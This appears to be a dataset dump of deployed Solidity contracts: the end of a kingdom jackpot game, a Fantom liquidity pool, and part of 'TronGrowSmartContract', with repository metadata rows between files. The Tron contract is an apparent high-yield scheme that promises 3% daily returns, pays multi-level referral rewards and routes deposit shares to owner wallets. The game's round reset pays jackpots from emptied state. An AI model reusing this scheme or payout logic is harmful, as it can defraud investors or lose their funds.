// User can call this function to generate new kingdoms (within the limits of available land)
//
function createKingdom(address owner, string _key, string _title, uint _type, bool _locked) onlyForRemainingKingdoms() public payable {
require(_type > 0);
require(_type < 6);
uint basePrice = STARTING_CLAIM_PRICE_WEI;
uint requiredPrice = basePrice;
if (_locked == true) { requiredPrice = requiredPrice.add(ACTION_TAX); }
require(msg.value >= requiredPrice);
require(rounds[currentRound].kingdomsCreated[_key] == false);
uint refundPrice = STARTING_CLAIM_PRICE_WEI.mul(2);
uint nextMinimumPrice = STARTING_CLAIM_PRICE_WEI.add(refundPrice);
uint kingdomId = kingdoms.push(Kingdom("", "", 1, _type, 0, 0, 1, refundPrice, address(0), false)) - 1;
kingdoms[kingdomId].title = _title;
kingdoms[kingdomId].owner = owner;
kingdoms[kingdomId].key = _key;
kingdoms[kingdomId].minimumPrice = nextMinimumPrice;
kingdoms[kingdomId].locked = _locked;
rounds[currentRound].kingdomsKeys[_key] = kingdomId;
rounds[currentRound].kingdomsCreated[_key] = true;
uint jackpotSplitted = requiredPrice.mul(50).div(100);
rounds[currentRound].globalJackpot.balance = rounds[currentRound].globalJackpot.balance.add(jackpotSplitted);
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotSplitted)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdoms[kingdomId].lastTransaction = transactionId;
setNewJackpot(_type, jackpotSplitted, msg.sender);
LandCreatedEvent(_key, msg.sender);
}
//
// Send transaction to compensate the previous owner
//
function compensateLatestMonarch(uint lastTransaction, uint compensationWei) internal {
address compensationAddress = kingdomTransactions[lastTransaction].compensationAddress;
kingdomTransactions[lastTransaction].compensation = compensationWei;
asyncSend(compensationAddress, compensationWei);
}
//
// This function may be useful to force withdraw if user never come back to get his money
//
function forceWithdrawPayments(address payee) public onlyOwner {
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function getEndTime() public view returns (uint endTime) {
return rounds[currentRound].endTime;
}
function sendJackpotCompensation(Jackpot jackpot) internal {
if (jackpot.winner != address(0) && jackpot.balance > 0) {
require(this.balance >= jackpot.balance);
uint teamComission = (jackpot.balance.mul(TEAM_COMMISSION_RATIO)).div(100);
asyncSend(bookerAddress, teamComission);
asyncSend(jackpot.winner, jackpot.balance.sub(teamComission));
}
}
//
// After time expiration, owner can call this function to activate the next round of the game
//
function activateNextRound() public checkIsClosed() {
currentRound++;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].startTime = now;
rounds[currentRound].endTime = now + 7 days;
delete kingdoms;
delete kingdomTransactions;
sendJackpotCompensation(rounds[currentRound].globalJackpot);
sendJackpotCompensation(rounds[currentRound].jackpot1);
sendJackpotCompensation(rounds[currentRound].jackpot2);
sendJackpotCompensation(rounds[currentRound].jackpot3);
sendJackpotCompensation(rounds[currentRound].jackpot4);
sendJackpotCompensation(rounds[currentRound].jackpot5);
}
// GETTER AND SETTER FUNCTIONS
function setNewWinner(address _sender, uint _type) internal {
if (rounds[currentRound].globalJackpot.winner == address(0)) {
rounds[currentRound].globalJackpot.winner = _sender;
} else {
if (rounds[currentRound].nbKingdoms[_sender] == rounds[currentRound].nbKingdoms[rounds[currentRound].globalJackpot.winner]) {
if (rounds[currentRound].nbTransactions[_sender] > rounds[currentRound].nbTransactions[rounds[currentRound].globalJackpot.winner]) {
rounds[currentRound].globalJackpot.winner = _sender;
}
} else if (rounds[currentRound].nbKingdoms[_sender] > rounds[currentRound].nbKingdoms[rounds[currentRound].globalJackpot.winner]) {
rounds[currentRound].globalJackpot.winner = _sender;
}
}
setTypedJackpotWinner(_sender, _type);
}
function getJackpot(uint _nb) public view returns (address winner, uint balance, uint winnerCap) {
Round storage round = rounds[currentRound];
if (_nb == 1) {
return (round.jackpot1.winner, round.jackpot1.balance, round.nbKingdomsType1[round.jackpot1.winner]);
} else if (_nb == 2) {
return (round.jackpot2.winner, round.jackpot2.balance, round.nbKingdomsType2[round.jackpot2.winner]);
} else if (_nb == 3) {
return (round.jackpot3.winner, round.jackpot3.balance, round.nbKingdomsType3[round.jackpot3.winner]);
} else if (_nb == 4) {
return (round.jackpot4.winner, round.jackpot4.balance, round.nbKingdomsType4[round.jackpot4.winner]);
} else if (_nb == 5) {
return (round.jackpot5.winner, round.jackpot5.balance, round.nbKingdomsType5[round.jackpot5.winner]);
} else {
return (round.globalJackpot.winner, round.globalJackpot.balance, round.nbKingdoms[round.globalJackpot.winner]);
}
}
function getKingdomCount() public view returns (uint kingdomCount) {
return kingdoms.length;
}
function getKingdomInformations(string kingdomKey) public view returns (string title, uint minimumPrice, uint lastTransaction, uint transactionCount, address currentOwner, bool locked) {
uint kingdomId = rounds[currentRound].kingdomsKeys[kingdomKey];
Kingdom storage kingdom = kingdoms[kingdomId];
return (kingdom.title, kingdom.minimumPrice, kingdom.lastTransaction, kingdom.transactionCount, kingdom.owner, kingdom.locked);
}
}
| 264,776 | 14,024 |
a2d413c85b57b1d8fa030c1c28ab7ac91e14884ef773065b134a1f82f764c78d
| 22,250 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/be/beD495BD827AE0555f542CF6b4d8d5AaD3b5BD70_Pool.sol
| 3,572 | 13,812 |
pragma solidity ^0.8.0;
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IRouter {
function trading() external view returns (address);
function capPool() external view returns (address);
function oracle() external view returns (address);
function treasury() external view returns (address);
function darkOracle() external view returns (address);
function isSupportedCurrency(address currency) external view returns (bool);
function currencies(uint256 index) external view returns (address);
function currenciesLength() external view returns (uint256);
function getDecimals(address currency) external view returns(uint8);
function getPool(address currency) external view returns (address);
function getPoolShare(address currency) external view returns(uint256);
function getCapShare(address currency) external view returns(uint256);
function getPoolRewards(address currency) external view returns (address);
function getCapRewards(address currency) external view returns (address);
}
interface IRewards {
function updateRewards(address account) external;
function notifyRewardReceived(uint256 amount) external;
}
contract Pool {
using SafeERC20 for IERC20;
using Address for address payable;
// Contracts
address public owner;
address public router;
address public trading;
uint256 public withdrawFee = 30; // 0.3%
address public currency;
address public rewards; // contract
uint256 public utilizationMultiplier = 100; // in bps
uint256 public maxCap = 1000000 ether;
mapping(address => uint256) private balances; // account => amount staked
uint256 public totalSupply;
mapping(address => uint256) lastDeposited;
uint256 public minDepositTime = 1 hours;
uint256 public openInterest;
uint256 public constant UNIT = 10**18;
// Events
event Deposit(address indexed user,
address indexed currency,
uint256 amount,
uint256 clpAmount);
event Withdraw(address indexed user,
address indexed currency,
uint256 amount,
uint256 clpAmount);
constructor(address _currency) {
owner = msg.sender;
currency = _currency;
}
// Governance methods
function setOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function setRouter(address _router) external onlyOwner {
router = _router;
trading = IRouter(router).trading();
rewards = IRouter(router).getPoolRewards(currency);
}
function setParams(uint256 _minDepositTime,
uint256 _utilizationMultiplier,
uint256 _maxCap,
uint256 _withdrawFee) external onlyOwner {
minDepositTime = _minDepositTime;
utilizationMultiplier = _utilizationMultiplier;
maxCap = _maxCap;
withdrawFee = _withdrawFee;
}
// Open interest
function updateOpenInterest(uint256 amount, bool isDecrease) external onlyTrading {
if (isDecrease) {
if (openInterest <= amount) {
openInterest = 0;
} else {
openInterest -= amount;
}
} else {
openInterest += amount;
}
}
// Methods
function deposit(uint256 amount) external payable {
uint256 lastBalance = _getCurrentBalance();
if (currency == address(0)) {
amount = msg.value;
lastBalance -= amount;
} else {
_transferIn(amount);
}
require(amount > 0, "!amount");
require(amount + lastBalance <= maxCap, "!max-cap");
uint256 clpAmountToMint = lastBalance == 0 || totalSupply == 0 ? amount : amount * totalSupply / lastBalance;
lastDeposited[msg.sender] = block.timestamp;
IRewards(rewards).updateRewards(msg.sender);
totalSupply += clpAmountToMint;
balances[msg.sender] += clpAmountToMint;
emit Deposit(msg.sender,
currency,
amount,
clpAmountToMint);
}
function withdraw(uint256 currencyAmount) external {
require(currencyAmount > 0, "!amount");
require(block.timestamp > lastDeposited[msg.sender] + minDepositTime, "!cooldown");
IRewards(rewards).updateRewards(msg.sender);
// Determine corresponding CLP amount
uint256 currentBalance = _getCurrentBalance();
require(currentBalance > 0 && totalSupply > 0, "!empty");
uint256 utilization = getUtilization();
require(utilization < 10**4, "!utilization");
// CLP amount
uint256 amount = currencyAmount * totalSupply / currentBalance;
// Set to max if above max
if (amount >= balances[msg.sender]) {
amount = balances[msg.sender];
currencyAmount = amount * currentBalance / totalSupply;
}
uint256 availableBalance = currentBalance * (10**4 - utilization) / 10**4;
uint256 currencyAmountAfterFee = currencyAmount * (10**4 - withdrawFee) / 10**4;
require(currencyAmountAfterFee <= availableBalance, "!available-balance");
totalSupply -= amount;
balances[msg.sender] -= amount;
_transferOut(msg.sender, currencyAmountAfterFee);
// Send fee to this pool's rewards contract
uint256 feeAmount = currencyAmount - currencyAmountAfterFee;
_transferOut(rewards, feeAmount);
IRewards(rewards).notifyRewardReceived(feeAmount);
emit Withdraw(msg.sender,
currency,
currencyAmountAfterFee,
amount);
}
function creditUserProfit(address destination, uint256 amount) external onlyTrading {
if (amount == 0) return;
uint256 currentBalance = _getCurrentBalance();
require(amount < currentBalance, "!balance");
_transferOut(destination, amount);
}
// To receive ETH
fallback() external payable {}
receive() external payable {}
// Utils
function _transferIn(uint256 amount) internal {
// adjust decimals
uint256 decimals = IRouter(router).getDecimals(currency);
amount = amount * (10**decimals) / UNIT;
IERC20(currency).safeTransferFrom(msg.sender, address(this), amount);
}
function _transferOut(address to, uint256 amount) internal {
if (amount == 0 || to == address(0)) return;
// adjust decimals
uint256 decimals = IRouter(router).getDecimals(currency);
amount = amount * (10**decimals) / UNIT;
if (currency == address(0)) {
payable(to).sendValue(amount);
} else {
IERC20(currency).safeTransfer(to, amount);
}
}
function _getCurrentBalance() internal view returns(uint256) {
uint256 currentBalance;
if (currency == address(0)) {
currentBalance = address(this).balance;
} else {
currentBalance = IERC20(currency).balanceOf(address(this));
}
uint256 decimals = IRouter(router).getDecimals(currency);
return currentBalance * UNIT / (10**decimals);
}
// Getters
function getUtilization() public view returns(uint256) {
uint256 currentBalance = _getCurrentBalance();
if (currentBalance == 0) return 0;
return openInterest * utilizationMultiplier / currentBalance; // in bps
}
function getCurrencyBalance(address account) external view returns(uint256) {
if (totalSupply == 0) return 0;
uint256 currentBalance = _getCurrentBalance();
return balances[account] * currentBalance / totalSupply;
}
// In Clp
function getBalance(address account) external view returns(uint256) {
return balances[account];
}
// Modifier
modifier onlyOwner() {
require(msg.sender == owner, "!owner");
_;
}
modifier onlyTrading() {
require(msg.sender == trading, "!trading");
_;
}
}
| 333,300 | 14,025 |
92accd17d2242287761d4fdd652a1eee545c97796a63813453ac06f6d29c0401
| 24,484 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TPXDpVrfjC6S2StMvSFpnynkidU6CD2Nmf_TronGrowSmartContract.sol
| 6,446 | 22,987 |
//SourceUnit: TronGrowSmartContract.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
uint256 investDates;
mapping(uint256 => Investment) plans;
mapping(uint256 => uint256) levelRefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TronGrowSmartContract is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant DEVELOPER_ENTRY_RATE = 20; //per thousand
uint256 private constant ADMIN_ENTRY_RATE = 100;
uint256 private constant REFERENCE_RATE = 110;
mapping(uint256 => uint256) public REFERENCE_LEVEL_RATE;
uint256 public constant MINIMUM = 5000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 1; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
uint256 private totalUser_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
address payable private safeWalletAddr; // 10% safe wallet
address payable private deductionWalletAddr; // 10% deduction
address payable private marketingAccount1_; // 2%
address payable private marketingAccount2_; // 2%
address payable private marketingAccount3_ ; // 2%
address payable private marketingAccount4_ ; // 2%
address payable private marketingAccount5_ ; // 2%
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setSafeWallet(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
safeWalletAddr = _newMarketingAccount;
}
function getSafeWallet() public view onlyOwner returns (address) {
return safeWalletAddr;
}
function setDeductionWallet(address payable _newDeductionWallet) public onlyOwner {
require(_newDeductionWallet != address(0));
deductionWalletAddr = _newDeductionWallet;
}
function getDeductionWallet() public view onlyOwner returns (address) {
return deductionWalletAddr;
}
function setMarketingAccount1(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount1_ = _newMarketingAccount;
}
function getMarketingAccount1() public view onlyOwner returns (address) {
return marketingAccount1_;
}
function setMarketingAccount2(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount2_ = _newMarketingAccount;
}
function getMarketingAccount2() public view onlyOwner returns (address) {
return marketingAccount2_;
}
function setMarketingAccount3(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount3_ = _newMarketingAccount;
}
function getMarketingAccount3() public view onlyOwner returns (address) {
return marketingAccount3_;
}
function setMarketingAccount4(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount4_ = _newMarketingAccount;
}
function getMarketingAccount4() public view onlyOwner returns (address) {
return marketingAccount4_;
}
function setMarketingAccount5(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount5_ = _newMarketingAccount;
}
function getMarketingAccount5() public view onlyOwner returns (address) {
return marketingAccount5_;
}
function getInvestmentDate() public view returns (uint256) {
return block.timestamp;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
if(block.timestamp <= 1604168940)
{
investmentPlans_.push(Objects.Plan(30,67*60*60*24,30));
//investmentPlans_.push(Objects.Plan(40,45*60*60*24,40)); //45 days
//investmentPlans_.push(Objects.Plan(40,60*60*60*24,40)); //60 days
//investmentPlans_.push(Objects.Plan(35,90*60*60*24,35)); //90 days
//investmentPlans_.push(Objects.Plan(33,120*60*60*24,33)); //120 days
}
else
{
investmentPlans_.push(Objects.Plan(30,67*60*60*24,30));
//investmentPlans_.push(Objects.Plan(30,45*60*60*24,30)); //45 days
//investmentPlans_.push(Objects.Plan(30, 60*60*60*24,30)); //60 days
//investmentPlans_.push(Objects.Plan(25, 90*60*60*24,25)); //90 days
//investmentPlans_.push(Objects.Plan(25, 120*60*60*24,25)); //120 days
}
REFERENCE_LEVEL_RATE[1]=50;
REFERENCE_LEVEL_RATE[2]=20;
REFERENCE_LEVEL_RATE[3]=10;
REFERENCE_LEVEL_RATE[4]=10;
REFERENCE_LEVEL_RATE[5]=10;
REFERENCE_LEVEL_RATE[6]=5;
REFERENCE_LEVEL_RATE[7]=5;
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getTotalUsers() public view returns (uint256){
return totalUser_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256[] memory, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
uint256[] memory RefCount = new uint256[](7);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
for(uint256 j = 0; j < 7; j++)
{
RefCount[j]= investor.levelRefCount[j];
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
uint256 ln =0;
uint256 _ref1 = _referrerCode;
while (_referrerCode >= REFERRER_CODE && ln<7)
{
uid2Investor[_ref1].levelRefCount[ln] = uid2Investor[_ref1].levelRefCount[ln].add(1);
ln++;
_ref1 = uid2Investor[_ref1].referrer;
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 amounttt= 100000;
if(_amount >= amounttt)
{
uint256 returnamt= (_amount.mul(5)).div(100);
msg.sender.transfer(returnamt);
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
totalUser_ = totalUser_.add(1);
uint256 safeWalletPercentage1 = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
safeWalletAddr.transfer(safeWalletPercentage1);
uint256 marketingPercentage1 = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
marketingAccount1_.transfer(marketingPercentage1);
uint256 marketingPercentage2 = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
marketingAccount2_.transfer(marketingPercentage2);
uint256 marketingPercentage3 = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
marketingAccount3_.transfer(marketingPercentage3);
uint256 marketingPercentage4 = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
marketingAccount4_.transfer(marketingPercentage4);
uint256 marketingPercentage5 = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
marketingAccount5_.transfer(marketingPercentage5);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
